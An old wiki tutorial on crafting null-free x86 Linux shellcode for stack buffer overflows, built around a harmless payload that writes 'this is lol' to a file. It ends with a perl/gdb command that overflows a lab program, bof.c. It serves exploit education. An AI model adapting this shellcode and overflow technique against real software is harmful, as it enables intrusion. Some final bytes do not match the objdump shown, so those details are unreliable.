Questions about this topic? Sign up to ask in the talk tab.

Deprecated:Null-free shellcode

From NetSec
Revision as of 02:01, 5 May 2012 by HildredLAPL (Talk | contribs)

Jump to: navigation, search

Introduction

Before someone can successfully create shellcode to use in a buffer overflow attack vector one must familiarize them self with the concept of buffer overflows. A buffer overflow is when a user mistakenly or not inputs more data then a buffer is meant to contain and without any proper bounds checking the program forces everything you put into the buffer overwriting various assembly registers. The purpose of this kind of attack is to fit your shellcode inside the buffer along with enough NOPS to allow you to rewrite the return pointer located in EIP. When you can successfully rewrite the return pointer you can then force the program to start at the beginning of your code on it's stack and make it do what ever you wish.

The first steps of identifying a buffer over flow is to check for segmentation faults. This usually is a sure sign of a buffer over flow because what is happening is the buffer is filled to its max and then some allowing you to overwrite the return address and when the return address is changed to an address outside the scope of the program it will segfault.

c3el4.png You can learn more about shellcode and Buffer_Overflows by clicking on the links.

the first steps in creating runable shellcode is to first create your exploit in ASM. this will be the allow you to create and mold your exploit into what you need it to do in a simpler state, as in you will not have to worry about pushing hex strings or removing null bytes quite yet.

in this article we will be using a 93 byte shellcode that will open a file discriptor and write "this is lol" to a file named "lol" located at /root/Desktop/.

.section .data file: .ascii "/root/Desktop/lol" #our file desitination

.section .text

.global _start:

_start:

movl $5, %eax #move open() to eax movl $file, %ebx #move file destination movl $03101, %ecx #some file options movl $0666, %edx #some file permisions int $0x80 #send interupt to obtain a file distriptor

movl %eax, %ebx #move the file discriptor to ebx for the write() call movl $4, %eax #move the write() call to eax pushl $0x006c6f6c pushl $0x20736920 pushl $0x73696874 #push 'this is lol\0' backwards onto the stack to be written movl %esp, %ecx #move the pointer to the begining of our text to be written movl $12, %edx #move the size of the text to be written int $0x80 #write the text to the file

movl $1, %eax #move exit() to eax movl $5, %edx #move the return value of 5 to edx int $0x80 #exit


here is our basic ASM exploit we will be using. as you can see it is very simple and stright forward so far, but lets look at our objdump to see what we have to change.

root@ducks:~/Desktop# objdump -d p2.o

p2.o: file format elf32-i386


Disassembly of section .text:

00000000 <_start>:

  0:   b8 05 00 00 00          mov    $0x5,%eax
  5:   bb 00 00 00 00          mov    $0x0,%ebx
  a:   b9 41 06 00 00          mov    $0x641,%ecx
  f:   ba b6 01 00 00          mov    $0x1b6,%edx
 14:   cd 80                   int    $0x80
 16:   89 c3                   mov    %eax,%ebx
 18:   b8 04 00 00 00          mov    $0x4,%eax
 1d:   68 6c 6f 6c 00          push   $0x6c6f6c
 22:   68 20 69 73 20          push   $0x20736920
 27:   68 74 68 69 73          push   $0x73696874
 2c:   89 e1                   mov    %esp,%ecx
 2e:   ba 0c 00 00 00          mov    $0xc,%edx
 33:   cd 80                   int    $0x80
 35:   b8 01 00 00 00          mov    $0x1,%eax
 3a:   ba 05 00 00 00          mov    $0x5,%edx
 3f:   cd 80                   int    $0x80

as you can see this exploit is riddled with nullbytes and varrious other errors. the reason why nullbytes are bad for shellcode exploits is because as the program reads through the stack if it encounters a nullbyte it will hult execution and will not execute the rest of your code. another error in this code is that we have our destination in the .data section which will not work when we go to exploit another application because it will not be declared in our targets memory.

so lets try to fix some of our problems.

_start:

xorl %eax, %eax xorl %ebx, %ebx xorl %ecx, %ecx xorl %edx, %edx #xor all our registers to zero them


movl $5, %eax #move open() to eax pushl $0x0000006c pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f #push our writing destination backwards in hex onto the stack movl %esp, %ebx #move the pointer to the top of our stack to ebx movl $03101, %ecx #some file options movl $0666, %edx #some file permisions int $0x80 #send interupt to obtain a file distriptor

movl %eax, %ebx #move the file discriptor to ebx for the write() call movl $4, %eax #move the write() call to eax pushl $0x006c6f6c pushl $0x20736920 pushl $0x73696874 #push 'this is lol\0' backwards onto the stack to be written movl %esp, %ecx #move the pointer to the begining of our text to be written movl $12, %edx #move the size of the text to be written int $0x80 #write the text

movl $1, %eax #move exit() to eax movl $5, %edx #move the return value of 5 to edx int $0x80 #exit

here you can see that instead of depending on our static definition of our destination file in the .data section we've pushed the entire string onto the stack which we then pointed to. the reason we did this is because since the destination will be on our targets stack we will be able to access it unlike before. another new change is that we zerod out all our registers we will be using. we did this because you can never tell what a register is set to at the time of exploitation so it is better off to zero them out when you start.

lets create a new objdump to see what we have to fix now.

root@ducks:~/Desktop# objdump -d p2.o

p2.o: file format elf32-i386


Disassembly of section .text:

00000000 <_start>:

  0:   31 c0                   xor    %eax,%eax
  2:   31 db                   xor    %ebx,%ebx
  4:   31 c9                   xor    %ecx,%ecx
  6:   31 d2                   xor    %edx,%edx
  8:   b8 05 00 00 00          mov    $0x5,%eax
  d:   6a 6c                   push   $0x6c
  f:   68 70 2f 6c 6f          push   $0x6f6c2f70
 14:   68 73 6b 74 6f          push   $0x6f746b73
 19:   68 74 2f 44 65          push   $0x65442f74
 1e:   68 2f 72 6f 6f          push   $0x6f6f722f
 23:   89 e3                   mov    %esp,%ebx
 25:   b9 41 06 00 00          mov    $0x641,%ecx
 2a:   ba b6 01 00 00          mov    $0x1b6,%edx
 2f:   cd 80                   int    $0x80
 31:   89 c3                   mov    %eax,%ebx
 33:   b8 04 00 00 00          mov    $0x4,%eax
 38:   68 6c 6f 6c 00          push   $0x6c6f6c
 3d:   68 20 69 73 20          push   $0x20736920
 42:   68 74 68 69 73          push   $0x73696874
 47:   89 e1                   mov    %esp,%ecx
 49:   ba 0c 00 00 00          mov    $0xc,%edx
 4e:   cd 80                   int    $0x80
 50:   b8 01 00 00 00          mov    $0x1,%eax
 55:   ba 05 00 00 00          mov    $0x5,%edx
 5a:   cd 80                   int    $0x80

as you see now we still have allot of null bytes to remove from our code. removing them can be as easy as changing the instruction in most cases, but in others such as our hex strings which need to be null terminated we have to do more complicated work arounds.

.section .data

.section .text

.global _start

_start:

xorl %ecx, %ecx xorl %edx, %edx #use xor to zero out our registers (removed some we didnt need)

push $0x05 #push 0x05 (single byte to remove the null padding used in longs) pop %eax #pop that value into eax push $0x6c #push part of our file desitnation as a byte to remove padding pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f movl %esp, %ebx #move out stack pointer xorw $0x0641, %cx #xor our file options as a word into ecx (ecx is 0 so ecx value would be 641) xorw $0x01b6, %dx #xor our file permisions as a word into edx (ecx is 0 so edx value would be 1b6)

                       #by using this method of xoring out our nullbytes we can reduce code size as well

#as remove the null bytes int $0x80 #execute open()

movl %eax, %ebx #move our file handle into ebx for write() push $0x04 #push 0x04 pop %eax #pop it into eax for use in write() pushl $0x6c6f6c6a #push part of our null terminated hex string onto the stack pop %ecx #pop it into ecx for modification shr $0x08, %ecx #shift it to the right by 0x08 to put the nullbyte back into the string without

                       #having it directly in our code

pushl %ecx #push our modified string back onto the stack pushl $0x20736920 pushl $0x73696874 movl %esp, %ecx #move our stack pointer to ecx push $0xb #push our size of our stack in hex pop %edx #pop it back into the propor register pushl %ebx #push our file discirptor onto the stack for the next funtion int $0x80 #write the file

pop %ebx #get our file discriptor back push $0x06 #push 0x06 to the stack pop %eax #pop it into eax for close() int $0x80 #close our file

push $0x01 #push exit() onto the stack pop %eax #and put it in our register push $0x05 #push our return value of 5 pop %ebx #and put it in ebx int $0x80 #and exit

now this code is heavily modified to make it smaller in size, run faster, and to have no null bytes. there are some techniques used here that help you bypass the use of nullbytes such as xoring them out or using shift-left or shift-right to put them back in inside the memory. using these techniques allows our shellcode to have no null bytes and to run flawlessly inside our targets stack.

its time to do a final objdump to make sure we got rid of all our nullbytes and to make sure everything is ok with our code.

root@ducks:~/Desktop# objdump -d p2.o

p2.o: file format elf32-i386


Disassembly of section .text:

00000000 <_start>:

  0:   31 c9                   xor    %ecx,%ecx
  2:   31 d2                   xor    %edx,%edx
  7:   6a 05                   push   $0x5
  9:   58                      pop    %eax
  a:   6a 6c                   push   $0x6c
  c:   68 70 2f 6c 6f          push   $0x6f6c2f70
 11:   68 73 6b 74 6f          push   $0x6f746b73
 16:   68 74 2f 44 65          push   $0x65442f74
 1b:   68 2f 72 6f 6f          push   $0x6f6f722f
 20:   89 e3                   mov    %esp,%ebx
 22:   66 81 f1 41 06          xor    $0x641,%cx
 27:   66 81 f2 b6 01          xor    $0x1b6,%dx
 2c:   cd 80                   int    $0x80
 2e:   89 c3                   mov    %eax,%ebx
 30:   6a 04                   push   $0x4
 32:   58                      pop    %eax
 33:   68 6a 6c 6f 6c          push   $0x6c6f6c6a
 38:   59                      pop    %ecx
 39:   c1 e9 08                shr    $0x8,%ecx
 3c:   51                      push   %ecx
 3d:   68 20 69 73 20          push   $0x20736920
 42:   68 74 68 69 73          push   $0x73696874
 47:   89 e1                   mov    %esp,%ecx
 49:   6a 0b                   push   $0xb
 4b:   5a                      pop    %edx
 4c:   53                      push   %ebx
 4d:   cd 80                   int    $0x80
 4f:   5b                      pop    %ebx
 50:   6a 06                   push   $0x6
 52:   58                      pop    %eax
 53:   cd 80                   int    $0x80
 55:   6a 01                   push   $0x1
 57:   58                      pop    %eax
 58:   6a 05                   push   $0x5
 5a:   5b                      pop    %ebx
 5b:   cd 80                   int    $0x80
 
 everything looks okay so lets clean this objdump up and turn it into some shellcode.
 

\x31\xc9\x31\xd2\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80

this shell code is 93 bytes and writes a file to the desktop of /root/ and exits with the return value of 5. to use this shellcode you can use either perl or ruby to write it to the buffer of our test program along with the right nop padding and the return address like so.

Successful Overflow Test

c3el4.png This shellcode was tested on bof.c.

root@bt:~/Desktop# gdb -q ./bof

Reading symbols from /root/Desktop/bof...done.

(gdb) r "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"

Starting program: /root/Desktop/bof "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"

Program exited with code 05. (gdb)

be aware that you need the extra double quotations around the whole commad or else perl will output \x20 as whitespace and your shellcode will be devided up and will break.